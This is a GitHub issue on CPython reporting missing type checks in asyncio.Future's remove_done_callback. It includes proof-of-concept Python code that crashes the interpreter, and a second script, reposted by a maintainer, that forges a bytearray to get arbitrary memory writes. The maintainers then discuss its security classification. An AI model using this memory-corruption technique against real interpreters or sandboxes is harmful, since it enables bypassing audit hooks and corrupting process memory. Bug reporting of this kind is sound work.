Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lack of type checks in asyncio.Future can cause crash or the ability to craft malicious objects #125789

Open
Nico-Posada opened this issue Oct 21, 2024 · 4 comments
Assignees
Labels
3.12 bugs and security fixes 3.13 bugs and security fixes 3.14 new features, bugs and security fixes extension-modules C modules in the Modules dir topic-asyncio type-crash A hard crash of the interpreter, possibly with a core dump

Comments

@Nico-Posada
Copy link

Nico-Posada commented Oct 21, 2024

Crash report

What happened?

In Modules/_asynciomodule.c the _asyncio_Future_remove_done_callback_impl function has a section where it retrieves an item from a list and then immediately assumes it's a tuple without doing any checks (this issue also exists in future_schedule_callbacks, but I'll only go over this one for brevity).

static PyObject *
_asyncio_Future_remove_done_callback_impl(FutureObj *self, PyTypeObject *cls,
                                          PyObject *fn)
/*[clinic end generated code: output=2da35ccabfe41b98 input=c7518709b86fc747]*/
{
    /* code not relevant to the bug ... */

    // Beware: PyObject_RichCompareBool below may change fut_callbacks.
    // See GH-97592.
    for (i = 0;
         self->fut_callbacks != NULL && i < PyList_GET_SIZE(self->fut_callbacks);
         i++) {
        int ret;
        PyObject *item = PyList_GET_ITEM(self->fut_callbacks, i);
        Py_INCREF(item);
        ret = PyObject_RichCompareBool(PyTuple_GET_ITEM(item, 0), fn, Py_EQ);
        if (ret == 0) {
            if (j < len) {
                PyList_SET_ITEM(newlist, j, item);
                j++;
                continue;
            }
            ret = PyList_Append(newlist, item);
        }
        Py_DECREF(item);
        if (ret < 0) {
            goto fail;
        }
    }

    /* code not relevant to the bug ... */
}

We can see that it gets item i from fut_callbacks and then immediately assumes it's a tuple without doing any checks. This is fine if there's no way for the user to control fut_callbacks, but we can see the Future object has a _callbacks attribute which uses FutureObj_get_callbacks as its getter

static PyObject *
FutureObj_get_callbacks(FutureObj *fut, void *Py_UNUSED(ignored))
{
    asyncio_state *state = get_asyncio_state_by_def((PyObject *)fut);
    Py_ssize_t i;

    ENSURE_FUTURE_ALIVE(state, fut)

    if (fut->fut_callback0 == NULL) {
        if (fut->fut_callbacks == NULL) {
            Py_RETURN_NONE;
        }

        return Py_NewRef(fut->fut_callbacks);
    }

    /* code to copy the callbacks list and return it */
}

In the rare case that fut_callback0 is NULL and fut_callbacks isn't, this will actually return the real reference to fut_callbacks allowing us to modify the items in the list to be whatever we want. Here's a short POC to showcase a crash caused by this bug.

import asyncio

fut = asyncio.Future()

class Evil:
    def __eq__(self, other):
        global real_ref
        real_ref = fut._callbacks

pad = lambda: ...
fut.add_done_callback(pad) # sets fut->fut_callback0
fut.add_done_callback(Evil()) # sets first item in fut->fut_callbacks list

# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code
# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULL
fut.remove_done_callback(pad)

real_ref[0] = 0xDEADC0DE

# remove_done_callback will traverse all the callbacks in fut->fut_callbacks, meaning it will assume our 0xDEADC0DE int is a tuple and crash
fut.remove_done_callback(pad)

And if done carefully, this can be used to craft a malicious bytearray object which can write to anywhere in memory. Here's an example of that which works on 64-bit systems (tested on Windows and Linux)

import asyncio

fut = asyncio.Future()

class Evil:
    # could split this into 2 different classes so one does the real_ref grab and the other does the mem set but thats boring
    def __eq__(self, other):
        global real_ref, mem
        if self is e:
            real_ref = fut._callbacks
        else:
            mem = other
        return False

e = Evil()
pad = lambda: ...
fut.add_done_callback(pad) # sets fut->fut_callback0
fut.add_done_callback(e) # sets first item in fut->fut_callbacks list

# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code
# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULL
fut.remove_done_callback(pad)

# set up fake bytearray obj
fake = (
    (0x123456).to_bytes(8, 'little') +
    id(bytearray).to_bytes(8, 'little') +
    (2**63 - 1).to_bytes(8, 'little') +
    (0).to_bytes(24, 'little')
)

# remove_done_callback will interpret this as a tuple, so it'll grab our fake obj instead
i2f = lambda num: 5e-324 * num
real_ref[0] = complex(0, i2f(id(fake) + bytes.__basicsize__ - 1))

# remove_done_callback will traverse all the callbacks in fut->fut_callbacks looking for this obj which will trigger our evil `__eq__` giving us our fake obj
fut.remove_done_callback(Evil())

# done
if "mem" not in globals():
    print("Failed")
    exit()

# should be an absurd number like 0x7fffffffffffffff
print(hex(len(mem)))

mem[id(250) + int.__basicsize__] = 100
print(250) # => 100

This can be fixed by making it impossible to get a real reference to the fut->fut_callbacks list, or just doing proper type checking in places where it's used.

CPython versions tested on:

3.11, 3.12, 3.13

Operating systems tested on:

Linux, Windows

Output from running 'python -VV' on the command line:

No response

Linked PRs

@Nico-Posada Nico-Posada added the type-crash A hard crash of the interpreter, possibly with a core dump label Oct 21, 2024
@Nico-Posada
Copy link
Author

You can get the real reference to the callbacks list with something as simple as this, no need for the evil class I used in the initial report.

import asyncio

fut = asyncio.Future()

pad = lambda: ...
fut.add_done_callback(pad) # sets fut->fut_callback0
fut.add_done_callback(lambda x: 1) # sets first item in fut->fut_callbacks list

# removes callback from fut->fut_callback0 setting it to NULL
fut.remove_done_callback(pad)

for _ in range(10):
    # will always be the same since it's now returning the real ref
    print(hex(id(fut._callbacks)))

@picnixz picnixz self-assigned this Oct 22, 2024
@picnixz
Copy link
Contributor

picnixz commented Oct 22, 2024

(As you observed) I don't think you necessarily need to get the real reference since you can just access it directly using fut._callbacks (being able to set it in the evil class means that you have access to the fut object itself).

You probably still need the evil class just to able to corrupt the interpreter's state though:

import asyncio

fut = asyncio.Future()

class evil:
    def __eq__(self, other):
        global mem
        mem = other
        return False

cb_pad = lambda: ...
fut.add_done_callback(cb_pad)
fut.add_done_callback(evil())
fut.remove_done_callback(cb_pad)

fake = (
    (0x123456).to_bytes(8, 'little') +
    id(bytearray).to_bytes(8, 'little') +
    (2 ** 63 - 1).to_bytes(8, 'little') +
    (0).to_bytes(24, 'little')
)

i2f = lambda num: 5e-324 * num
fut._callbacks[0] = complex(0, i2f(id(fake) + bytes.__basicsize__ - 1))
fut.remove_done_callback(evil())
mem[id(250) + int.__basicsize__] = 100
assert 250 == 100

@ZeroIntensity ZeroIntensity added extension-modules C modules in the Modules dir 3.12 bugs and security fixes 3.13 bugs and security fixes 3.14 new features, bugs and security fixes labels Oct 22, 2024
@picnixz
Copy link
Contributor

picnixz commented Oct 22, 2024

By the way, we decided not to categorize this as a security issue because of the required capabilities an adversary would need to make it work (hence it will only be backported until 3.12 and not until 3.9):

  • First, you need to find a code that does add/remove callbacks in a specific manner.
  • Second, you need the code to somehow access a private attribute and be able to inject your payload.

@Nico-Posada If I'm missing something here or misunderstood your write-up, please enlighten me. AFAICT, the goal is to get some writable memory, yet this requires to play with fut._callbacks directly at some point on the victim's machine right?

@Nico-Posada
Copy link
Author

Yeah, I never intended for it to be labeled as a security bug since you can do much more malicious things with the ability to execute arbitrary python code. The only other possible issue would be it being used to bypass audit hooks, but that would require the original program to have asyncio imported beforehand to be able to snag it from sys.modules.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3.12 bugs and security fixes 3.13 bugs and security fixes 3.14 new features, bugs and security fixes extension-modules C modules in the Modules dir topic-asyncio type-crash A hard crash of the interpreter, possibly with a core dump
Projects
Status: In Progress
Development

No branches or pull requests

4 participants